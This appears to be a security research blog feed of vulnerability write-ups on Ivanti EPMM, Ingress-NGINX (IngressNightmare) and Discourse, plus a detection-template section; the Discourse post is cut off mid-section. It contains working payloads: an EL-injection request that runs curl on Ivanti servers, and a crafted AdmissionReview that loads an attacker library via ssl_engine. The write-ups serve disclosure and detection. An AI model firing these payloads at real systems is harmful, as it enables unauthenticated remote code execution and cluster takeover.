May 21, 2025 Published this blog post.
May 21, 2025 VulnCheck assigned CVEs for the reported issues:
  - CVE-2025-34025 : Insecure Docker Mount → Container Escape
  - CVE-2025-34026 : Actuator Authentication Bypass → Information Leak
  - CVE-2025-34027 : Authentication Bypass → File Write → RCE

Conclusion

In conclusion, our research into the Versa Concerto platform has uncovered several critical vulnerabilities that pose significant security risks to enterprises relying on this technology. These vulnerabilities, ranging from authentication bypasses to remote code execution and container escapes, highlight the potential for severe exploitation if left unaddressed.

We urge organizations using Versa Concerto to implement additional security measures and remain vigilant. Our hope is that this disclosure will expedite the resolution process and enhance the overall security posture of the platform.

Nuclei template to detect this vulnerability is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.

For any questions, reach us at [email protected]

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis2025-05-15T00:00:00+00:002025-05-15T00:00:00+00:00https://httpvoid.com/Ivanti-EPMM-Remote-Code-Execution<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

As security researchers, we all know that familiar dance when blackbox testing web apps and APIs. You poke an endpoint, get hit with “blah parameter is missing” or “blah is of the wrong type,” and after satisfying every requirement, you’re often met with the frustrating 401 or 403. That feeling of being so close, yet so far, is something we’ve all experienced.

However, in a recent analysis of Ivanti EPMM’s CVE-2025-4427 and CVE-2025-4428 , this very flow of execution – validation happening before authorization – inadvertently paved the way to an unauthenticated Remote Code Execution vulnerability in an Ivanti EPMM/Mobileiron.

Background

In Hibernate Validator, the ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate) call lets you supply a custom violation message using a template string. If that template is constructed from untrusted user input without any escaping or sanitization it effectively opens the door to server-side template injection (SSTI) or Expression-Language (EL) injection. At runtime, Hibernate may process the template through Spring’s StandardELContext to resolve placeholders like ${…}, inadvertently executing any embedded expressions

Patch Diffing

We unpacked both the patched and unpatched builds of the EPMM server and ran a recursive diff across de-compiled classes. Two validators revealed one-line patches that neutralise user input within error messages:

In DeviceFeatureUsageReportQueryRequestValidator:

Before, the raw format field from the query string was passed into the message builder; after, it was replaced with an empty string. This eliminates the direct EL entry-point, since the message template no longer contains attacker data.

Similarly, In ScepSubjectValidator (used during certificate enrollment):

Here, any user-supplied certificate subject DN used to be HTML-encoded and then concatenated into the error template. That too could carry ${…} payloads into an EL context. The patch removes the interpolation entirely.

Mapping Source To Sink

While looking where DeviceFeatureUsageReportQueryRequest validator is called, we came across the following controller:

@RequestMapping(method = GET, value = "/api/v2/featureusage")
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@ResponseBody
public Response downloadDeviceFeatureUsageReport(
    @Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
    HttpServletRequest request) {
    [...]
  }

MobileIron API exposes GET endpoints at /api/v2/featureusage and /api/v2/featureusage_history and to allow administrators to download device-feature usage reports in formats such as CSV, JSON or PDF.

While making the request to this endpoint as an authenticated user with “format” as query parameter with an invalid value to see if the DeviceFeatureUsageReportQueryRequestValidator is triggered.

and as expected we got the response "Format 'xxx' is invalid. Valid formats are 'json', 'csv'."

Now, entering a simple expression language evaluation payload such as ${3*333} we could confirm the evaluation from response returned "Format '999' is invalid. Valid formats are 'json', 'csv'." .

Suprisingly, this also worked without authentication cookies or token i.e. as unauthenticated user.

Spring MVC’s Argument Resolution and Security Ordering

To understand why unauthenticated EL evaluation remains possible, we must observe the precise sequence of steps Spring MVC takes for each incoming request:

  1. The DispatcherServlet matches the request URL to a controller method via HandlerMapping.
  2. A HandlerAdapter begins preparing the method arguments: it instantiates parameter objects, binds request parameters, and if @Valid is present, runs all registered javax.validation.Validator implementations or Spring’s DataBinder hooks for those objects.
  3. Only after all arguments are bound and validated does Spring invoke the controller method. At this moment MethodSecurityInterceptor (the mechanism behind @PreAuthorize and @Secured) wraps the invocation and checks permissions.

Because bean-validation fires in step 2, any code executed inside a custom ConstraintValidator runs with the application’s full privileges, even though the authentication and authorization filters have not yet been applied to the HTTP request.

Root Cause Analysis - Tldr;

  • A request hits the controller with an attacker-controlled format parameter.
  • Spring MVC binds query parameters to DeviceFeatureUsageReportQueryRequest
  • @Valid triggers DeviceFeatureUsageReportQueryRequestValidator.isValid().
  • The validator calls localizedMessageBuilder, inserting the untrusted format value into a message template.
  • The template is parsed by the EL engine; any ${…} expression is evaluated immediately.
  • Only after validation finishes does MethodSecurityInterceptor execute the @PreAuthorize check which is obviously too late.
  • Result: arbitrary code runs in the application context, no credentials required.

Extras

Similarly, we found that @ScepSubjectValidator can be called post-authentication by an admin user that is allowed to create or edit SCEP certificate and test SCEP certificate enrollment.

Template

We’ve created a Nuclei template to easily identify vulnerable Ivanti EPMM instances:

id: CVE-2025-4427

info:
  name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
  reference:
    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-4427
    cwe-id: CWE-288
    epss-score: 0.00942
    epss-percentile: 0.75063
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:"362091310"
    fofa-query: icon_hash="362091310"
    product: endpoint_manager_mobile
    vendor: ivanti
  tags: cve,cve2025,ivanti,epmm,rce,ssti

http:
  - raw:
      - |
        GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1
        Host: 

      - |
        GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1
        Host: 

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Format 'Process[pid="
          - "localizedMessage"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 400

Timeline for CVE-2025-4427:

  • May 13, 2025: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a high and a medium vulnerability in Ivanti EPMM versions that may result in unauthenticated RCE.
  • May 14, 2025: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.
  • May 15, 2025: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-4427, facilitating the identification of vulnerable Ivanti EPMM instances.

Conclusion

In the end, CVE-2025-4427 and its sibling CVE-2025-4428 serve as a striking reminder that even well-intentioned security controls can be undermined by the subtleties of framework internals. What appeared to be a simple EL-injection patch in Ivanti’s EPMM validators actually masked a deeper ordering flaw: bean-validation running before Spring Security’s authorization check. By diffing consecutive releases and tracing every call to buildConstraintViolationWithTemplate, we peeled back the layers of Spring MVC’s argument resolution and exposed a window where untrusted input could execute arbitrary code, all without ever presenting a login prompt.

If you’re running a vulnerable Ivanti EPMM instance, update to the one of the fixed versions 11.12.0.5, 12.3.0.2, 12.4.0.2 or 12.5.0.1 as detailed in the Ivanti advisory.

This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)2025-03-26T00:00:00+00:002025-03-26T00:00:00+00:00https://httpvoid.com/IngressNightmare-Unauth-RCE-in-Ingress-NGINX<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

A critical vulnerability (CVE-2025-1974) was recently discovered in the Kubernetes Ingress-NGINX Controller that allows unauthenticated remote code execution (RCE) on the ingress controller pod.

Originally discovered by the Wiz research team (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) in late 2024 and disclosed in March 2025, CVE-2025-1974 is part of a series of vulnerabilities collectively called IngressNightmare.

If you’re specifically looking to use the IngressNightmare detection templates, feel free to skip ahead to the end of the blog post.

What is Ingress-Nginx Controller?

Ingress-Nginx Controller is one of the most popular ingress controllers available for Kubernetes, and a core Kubernetes project with over 18.1k+ stars on GitHub. It serves as a critical component in the Kubernetes ecosystem, acting as the gateway between external traffic and internal services running within a Kubernetes cluster.

The Role of Ingress Controllers in Kubernetes

In Kubernetes, an Ingress is an API object that manages external access to services within a cluster, typically via HTTP/HTTPS. However, the Ingress resource itself doesn’t do anything without an Ingress controller - a component that interprets the Ingress resource specifications and configures the actual routing.

Ingress-Nginx Controller fulfills this role by implementing the Ingress specification using NGINX, one of the most widely used reverse proxies and load balancers. It’s explicitly highlighted in the Kubernetes documentation as an example Ingress controller that fulfills the prerequisite for using Ingress in Kubernetes.

Technical Details of the Vulnerability (CVE-2025-1974)

The Admission Controller Vulnerability

CVE-2025-1974 is a critical vulnerability in the Ingress-Nginx Controller that allows for unauthenticated remote code execution. At its core, this vulnerability stems from a design flaw in how the admission controller component processes and validates incoming ingress objects.

The admission controller in Ingress-Nginx is designed to validate incoming ingress objects before they are deployed to ensure the resulting NGINX configuration will be valid. By default, these admission controllers are accessible over the network without authentication, making them a highly appealing attack vector.

The Vulnerability Mechanism

When the Ingress-Nginx admission controller processes an incoming ingress object, it constructs an NGINX configuration from it and then validates it using the NGINX binary with the -t flag. Wiz research team found a vulnerability in this phase that allows injecting arbitrary NGINX configuration remotely by sending a malicious ingress object directly to the admission controller through the network.

The vulnerability specifically involves the Ingress annotation, which can be exploited to inject configuration into NGINX. Some annotations can be manipulated to inject arbitrary NGINX directives.

Let’s examine how this works:

  1. The admission controller receives an ingress object with a specially crafted auth-url annotation
  2. When processing this annotation, the controller doesn’t properly sanitize the input
  3. The malicious annotation value is incorporated into the NGINX configuration
  4. During validation with nginx -t, the injected configuration causes code execution

From Configuration Injection to RCE

The progression from configuration injection to remote code execution exploits weaknesses in NGINX’s configuration validation process. Initially, Wiz research team explored the load_module directive, which allows loading shared libraries from the filesystem. However, since this directive can only be used at the start of the NGINX configuration, it was incompatible with the injection point. Further investigation led to the ssl_engine directive, part of the OpenSSL module, which can also load shared libraries. Unlike load_module, ssl_engine can be used anywhere within the configuration file.

Uploading a Shared Library

The next challenge in exploiting this vulnerability is placing a shared library on the pod’s filesystem. The research team discovered that the Ingress-Nginx pod also runs the NGINX instance itself, listening on port 80 or 443. By sending a specially crafted HTTP request to this instance, we can leverage NGINX’s client body buffers to upload a malicious shared library to the filesystem.

Once the shared library is uploaded and the malicious configuration is injected, the ssl_engine directive loads the library during the validation phase, executing the attacker’s code with the privileges of the Ingress-Nginx controller pod.

Affected Versions

This vulnerability affects:

  • Ingress-Nginx Controller version 1.11.x before 1.11.5
  • Ingress-Nginx Controller versions below 1.11.0

The vulnerability has been fixed in versions 1.12.1 and later, as well as 1.11.5 and later.

Exploitation Demonstration

This section provides a detailed walkthrough of how CVE-2025-1974 can be exploited in vulnerable Ingress-Nginx Controller deployments. Understanding the exploitation process is crucial for security teams to properly assess their risk and validate their defenses.

It’s important to note that by default, admission controllers are accessible over the network without authentication, making this attack vector particularly dangerous.

Step 1: Identify Vulnerable Clusters

First, an attacker would identify clusters running vulnerable versions of Ingress-Nginx Controller. This can be done by:

kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx

Then checking the image version to determine if it’s vulnerable (versions prior to 1.11.5 or 1.12.1).

Step 2: Craft a Malicious Admission Review Request

The attacker creates a specially crafted AdmissionReview request that includes an ingress object with the malicious auth-url annotation. Here’s an example of such a request:

{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
    "kind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "resource": {
      "group": "networking.k8s.io",
      "version": "v1",
      "resource": "ingresses"
    },
    "requestKind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "requestResource": {
      "group": "networking.k8s.io",
      "version": "v1",
      "resource": "ingresses"
    },
    "name": "test-ingressxaa",
    "namespace": "default",
    "operation": "CREATE",
    "userInfo": {

    },
    "object": {
      "kind": "Ingress",
      "apiVersion": "networking.k8s.io/v1",
      "metadata": {
        "name": "test-ingressxaa",
        "namespace": "default",
        "creationTimestamp": null,
        "annotations": {
          "nginx.ingress.kubernetes.io/rewrite-target": "/",
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
        }
      },
      "spec": {
        "ingressClassName": "nginx",
        "rules": [
          {
            "host": "test.local",
            "http": {
              "paths": [
              ]
            }
          }
        ]
      },
      "status": {
        "loadBalancer": {}
      }
    },
    "oldObject": null,
    "dryRun": true,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}

The key part of this payload is the auth-url annotation, which contains the NGINX configuration injection.

Step 3: Upload a Malicious Shared Library

In parallel, the attacker needs to upload a malicious shared library to the pod’s filesystem. This can be done by sending a specially crafted HTTP request to the NGINX instance running in the same pod:

  1. Create a malicious shared library (.so file) that contains the code to be executed
  2. Send a large HTTP POST request to the NGINX instance
  3. The request body will be buffered to disk due to its size
  4. The attacker can then reference this file using the ssl_engine directive

Step 4: Execute the Payload

When the admission controller processes the malicious ingress object, it will:

  1. Generate an NGINX configuration that includes the injected directives
  2. Validate the configuration using nginx -t
  3. During validation, the ssl_engine directive will load the malicious shared library
  4. The code in the shared library will execute with the privileges of the Ingress-Nginx controller pod

Nuclei Templates for IngressNightmare Detection

To help security teams identify vulnerable Ingress-Nginx Controller deployments in their environments, we’ve write Nuclei templates for both external and internal testing. These templates can be used to detect the presence of CVE-2025-1974 in your Kubernetes clusters.

Vulnerable Exposed Admission Controller Template

This template is designed to detect vulnerable Ingress-Nginx admission controllers that are exposed to the internet. It works by sending a crafted admission review request and analyzing the response.

Nuclei Template to detect **CVE-2025-1974 - **CVE Scan URL

id: CVE-2025-1974

info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-653
    cve-id: CVE-2025-1974
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: 
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {

            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-",
                "namespace": "default",
                "creationTimestamp": null,
                "annotations": {
        "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "",
                    "http": {
                      "paths": [
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }

    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'directive is not allowed here'
          - 'load_module'
        condition: and
pwnmachine@PD ~ % nuclei -t CVE-2025-1974.yaml -u "https://<redacted>:8443"
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.10

		projectdiscovery.io

[INF] Current nuclei version: v3.3.10 (latest)
[INF] Current nuclei-templates version: v10.1.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 281
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1

[CVE-2025-1974] [http] [critical] https://<redacted>:8443

Template Breakdown:

Sending a POST request to the target host with a specially crafted AdmissionReview JSON payload

  1. The payload includes an ingress object with a malicious annotation that attempts to inject a load_module directive that tries to load a random file on the filesystem.
  2. If the target is a vulnerable Ingress-Nginx admission controller, it will process the request and return an error message indicating that the “DSO support routines:: could not load the shared library”, along side some other error messages which are then matched by the template for detection.

This template is particularly useful for identifying externally exposed admission controllers that could be targeted by attackers.

Internal Kubernetes Cluster Template

The following template is to be run from within a Kubernetes cluster. This can come in handy along with other Kubernetes Cluster Security templates during Kubernetes configuration review engagements.

It checks for vulnerable versions of the Ingress-Nginx controller by examining the container images used in the deployment.

id: CVE-2025-1974-k8s

info:
  name: Ingress-Nginx Controller - Unauthenticated Remote Code Execution
  author: princechaddha
  severity: critical
  description: A security issue was discovered in ingress-nginx where some Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - 
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security

flow: |
  code(1) ;
  for (let pod of template.items) {
    set("pod", pod)
    javascript(1);
  }

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: kubectl get pods -n ingress-nginx -l app.kubernetes.io/component=controller -o json
    extractors:
      - type: json
        name: items
        internal: true
        json:
          - '.items[]'

javascript:
  - code: |
        let podData = JSON.parse(template.pod);

        const container = podData.spec.containers.find(c => c.name === 'controller');
        if (container && container.image) {
          const imageTag = container.image.split(':')[1];
          if (imageTag) {
            const version = imageTag.split('@')[0].replace(/^v/, '');
            const [major, minor, patch] = version.split('.').map(v => parseInt(v, 10));

            if ((major === 1 && minor === 11 && patch < 5) ||
                (major === 1 && minor === 12 && patch === 0) ||
                (major === 1 && minor < 11) ||
                (major === 1 && minor === 9 && patch <= 3)) {
              let result = (`Ingress-Nginx controller in namespace '${podData.metadata.namespace}' is running vulnerable version ${version}. Update to v1.12.1+ or v1.11.5+`);
              Export(result);
            }
          }
        }

    extractors:
      - type: dsl
        dsl:
          - response
pwnmachine@PD ~ % nuclei -t CVE-2025-1974-k8s.yaml -code

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.10

		projectdiscovery.io

[INF] Current nuclei version: v3.3.10 (latest)
[INF] Current nuclei-templates version: v10.1.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from a

[CVE-2025-1974-k8s] [javascript] [critical]  ["Ingress-Nginx controller in namespace 'ingress-nginx' is running vulnerable version 1.9.3. Update to v1.12.1+ or v1.11.5+"]

Template Breakdown:

  1. Using kubectl to get all pods in the ingress-nginx namespace with the label app.kubernetes.io/component=controller
  2. For each pod found, it extracts the container image version
  3. It then parses the version number and checks if it matches any of the vulnerable version patterns
  4. If a vulnerable version is detected, it reports the finding with details about the affected namespace and version

This template is particularly useful for security teams conducting internal audits of their Kubernetes environments.

You can check out the blog below if you’d like to learn more about the above template along with our other Kubernetes cluster security templates.

To use these templates with Nuclei:

  • Run the external template against potentially exposed admission controllers:
nuclei -t CVE-2025-1974.yaml -u https://admission-controller-endpoint
  • To run the internal template we need to install kubectl and configure its contexts or specific access permissions. We need to sign the template before running it, as it’s a code-based template and requires signing to prevent the execution of untrusted external code.
nuclei -id CVE-2025-1974-k8s.yaml -sign
nuclei -id CVE-2025-1974-k8s.yaml -code

It’s important to note that the internal template requires kubectl access to your cluster with appropriate permissions, while the external template can be run from anywhere with network access to the target.

Remediation Recommendations

We strongly recommend the following actions to mitigate the risk of this vulnerability:

  1. Update Immediately: Upgrade to Ingress-Nginx Controller version 1.12.1 or later, or version 1.11.5 or later. This is the most effective way to address the vulnerability.
  2. Network Policies: Implement strict network policies to ensure that only the Kubernetes API Server can access the admission controller.

Timeline:

  • December 31, 2024: Vulnerability (CVE-2025-1974) initially reported privately to Kubernetes security team by Wiz Research.
  • March 24, 2025: Public disclosure and detailed advisory published by Kubernetes and Wiz Research. Patched versions (1.12.1 and 1.11.5) released.
  • March 25, 2025: The Nuclei templates for internal detection were published by the ProjectDiscovery Team.
  • March 26, 2025: The Nuclei templates for external detection were published by the ProjectDiscovery Team.

Conclusion

The IngressNightmare vulnerability (CVE-2025-1974) represents one of the most significant security threats to Kubernetes environments in recent years. This critical unauthenticated remote code execution vulnerability in the Ingress-Nginx Controller can lead to complete cluster takeover, with attackers gaining access to all secrets across namespaces.

This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to automatically scan for this vulnerability as part of their continuous security assessments.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk2025-03-20T00:00:00+00:002025-03-20T00:00:00+00:00https://httpvoid.com/Discourse-Backup-Disclosure-Rails-send_file-Quirk<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

Modern web applications rely on middleware and web server configurations to efficiently handle file delivery while maintaining security. In the Ruby ecosystem, the send_file method in Rack and Rails is a widely used mechanism that can offload file serving to web servers like Nginx and Apache, improving performance and scalability. However, when used in conjunction with Nginx’s internal directive, a feature designed to restrict access to sensitive resources, unexpected security flaws can emerge.

In this blog, we explore a subtle yet impactful interaction between Rack/Rails and Nginx that can inadvertently expose restricted endpoints. Specifically, we examine how the send_file method, when paired with certain Nginx configurations, can bypass access controls under specific conditions, turning a security feature into a potential attack vector.

To highlight the real-world implications, we analyze Discourse, a popular Rails-based forum platform. We demonstrate how predictable backup file naming patterns, combined with this send_file behavior and a particular Nginx setup, can unintentionally expose sensitive data—such as Discourse database backups—posing a serious risk to affected deployments. This vulnerability has been assigned CVE-2024-53991.

What is X-Accel-Redirect in Nginx?

The X-Accel-Redirect header in Nginx enables controlled access to internal resources by leveraging specially designated location blocks. These location blocks are marked with the internal directive, which restricts them from being directly accessed by external clients.

The internal directive of Nginx is used to specify that a particular location block should only process requests generated by Nginx itself. This does not mean requests originating from localhost or specific IP addresses—it specifically refers to requests initiated internally by Nginx as a result of its processing logic.

Only requests generated by Nginx during its handling of another request (e.g., due to request rewrite or via the X-Accel-Redirect header) can access the internal location.

How Does X-Accel-Redirect Work?

The X-Accel-Redirect header is a mechanism for Nginx to route an incoming request to an internal location block. When Nginx encounters this header in a response from an upstream server (e.g., a web application or backend), it interprets the header’s value as the new URI and internally redirects the request to that URI. If the target URI corresponds to an internal location, the resources in that location can now be served.

An example configuration would be:

location ~ /files/(.*) {
    internal;
    alias /var/www/$1;
}

Example flow of requests:

  • A client sends a request to an external endpoint, for example, /download.
  • The /download endpoint is handled by an upstream server (e.g., a backend application) that processes the request and returns a response with the header:

X-Accel-Redirect: /files/example.txt

  • Nginx sees the X-Accel-Redirect header and internally routes the request to /files/example.txt.
  • The location ~ /files/(.*) block is triggered, allowing Nginx to serve the file /var/www/example.txt from the filesystem.

When Rack Sends, Sh*t Breaks:

We were reviewing web frameworks that utilize X-Sendfile or X-Accel-Redirect headers in their file-serving functions to enable optimized file handling through web servers like Nginx or Apache.

One of the frameworks we analyzed was Rack, specifically its send_file function, which incorporates these headers for efficient file delivery. Since Rack middleware is a core component of Rails, we also examined its implementation in detail. During this review, we identified a notable issue—or perhaps a quirk.

Here’s how the implementaiton for the same looks like:

class Sendfile
    def initialize(app, variation = nil, mappings = [])
      ...
      @mappings = mappings.map do |internal, external|
        [/^#{internal}/i, external]
      end
    end

    def call(env)
      _, headers, body = response = @app.call(env)

      if body.respond_to?(:to_path)
        case type = variation(env) # value of x-sendfile-type header
        when /x-accel-redirect/i # [1]
          path = ::File.expand_path(body.to_path) // expand the full path to the file.
          if url = map_accel_path(env, path)
            headers[CONTENT_LENGTH] = '0'
            # '?' must be percent-encoded because it is not query string but a part of path
            headers[type.downcase] = ::Rack::Utils.escape_path(url).gsub('?', '%3F') # [3]
            obody = body
            response[2] = Rack::BodyProxy.new([]) do
              obody.close if obody.respond_to?(:close)
            end
          else
            env[RACK_ERRORS].puts "x-accel-mapping header missing"
          end
          ...
        when '', nil
        else
          env[RACK_ERRORS].puts "Unknown x-sendfile variation: '#{type}'.\n"
        end
      end
      response
    end

    private
    def variation(env)
      @variation ||
        env['sendfile.type'] ||
        env['HTTP_X_SENDFILE_TYPE']
    end
end

Rack handles this by inspecting the value of the X-Sendfile-Type request header. At [1] in the implementation, if the header’s value is x-accel-redirect, the code logic proceeds to retrieve the full path to the file on the filesystem using body.to_path. It then calls the map_accel_path method to translate this filesystem path into an URL suitable for use with Nginx.

def map_accel_path(env, path)
  if mapping = @mappings.find { |internal, _| internal =~ path }
    path.sub(*mapping)
  elsif mapping = env['HTTP_X_ACCEL_MAPPING']
    mapping.split(',').map(&:strip).each do |m|
      internal, external = m.split('=', 2).map(&:strip)
      new_path = path.sub(/^#{internal}/i, external) # [2]
      return new_path unless path == new_path
    end
    path
  end
end

In the map_accel_path method, Rack processes another request header, X-Accel-Mapping. The value of this header is split at the = character, where the first part becomes the internal filesystem path and the second part becomes the external path. Rack then uses a regular expression substitution at [2] to replace the internal portion of the file’s full filesystem path with the corresponding external nginx location path.

The newly substituted path (or URL) is then used to set the X-Accel-Redirect response header. This header is intercepted by Nginx, which makes an internal request to the mapped URL and serves the corresponding file to the client, bypassing direct access to the original file path on the server.

Example:

If the following header is present, x-accel-mapping: .*=/secret, full path of the request file matched by /^.*/ will be replaced with /secret at line [2]. Then, at line [3], the value of x-accel-redirect response header is set to this new value /secret . Once, this is done, Nginx will automatically make an internal request to /secret endpoint and will respond back.

Therefore, the pre-requisite for this misconfiguration to be exploitable would be:

  • Rails’ send_file or Rack’s Rack::Sendfile method is used.
  • Nginx configuration with internal directive that leaks something sensitive.

Discourse: Backup File Disclosure Via Default Nginx Configuration

Discourse, a popular Ruby on Rails-based community discussion platform, uses the send_file method in various parts of its application to serve files efficiently. During our review, we explored potential unauthenticated routes utilizing send_file, as well as the default Nginx configuration provided by Discourse, to identify any potential misconfigurations.

While analyzing the source code, we found that the StylesheetsController uses the send_file method to serve CSS files. At first glance, this controller appeared interesting because it skips several authentication checks:

class StylesheetsController < ApplicationController
  skip_before_action :preload_json,
                     :redirect_to_login_if_required,
                     :redirect_to_profile_if_required,
                     :check_xhr,
                     :verify_authenticity_token,
                     only: %i[show show_source_map color_scheme]

  before_action :apply_cdn_headers, only: %i[show show_source_map color_scheme]

  ...

  def show
    is_asset_path

    show_resource # [4]
  end

  protected

  def show_resource(source_map: false)
    ...
    send_file(location, disposition: :inline) # [5]
  end
end

As seen above, the show action skips authentication checks, allowing unauthenticated users to access it. The show_resource method ultimately calls send_file at [5] to serve files, making this a potential candidate for file disclosure.

We reviewed Discourse’s default Nginx configuration to identify any sensitive or interesting configurations. Discourse places its backups directory within the Rails public directory, which is globally accessible. This directory holds Discourse’s database backups and is highly sensitive. However, the default Nginx configuration prevents direct access to the backups using the internal directive, which restricts the /backups/ route:

# Path to Discourse's public directory
set $public /var/www/discourse/public;

# Prevent direct download of backups
location ^~ /backups/ {
    internal;
}

# Another internal route mapped to the public directory
location /downloads/ {
    internal;
    alias $public/;
}
  • The /backups/ route is protected by the internal directive, ensuring that backup files cannot be accessed directly by external users.
  • The /downloads/ route, which maps to the public directory, is also marked as internal, further restricting access.

This satisfies the prerequisite for exploiting file disclosure: an Nginx configuration with internal directives protecting sensitive directories.

Exploiting Backup File Disclosure

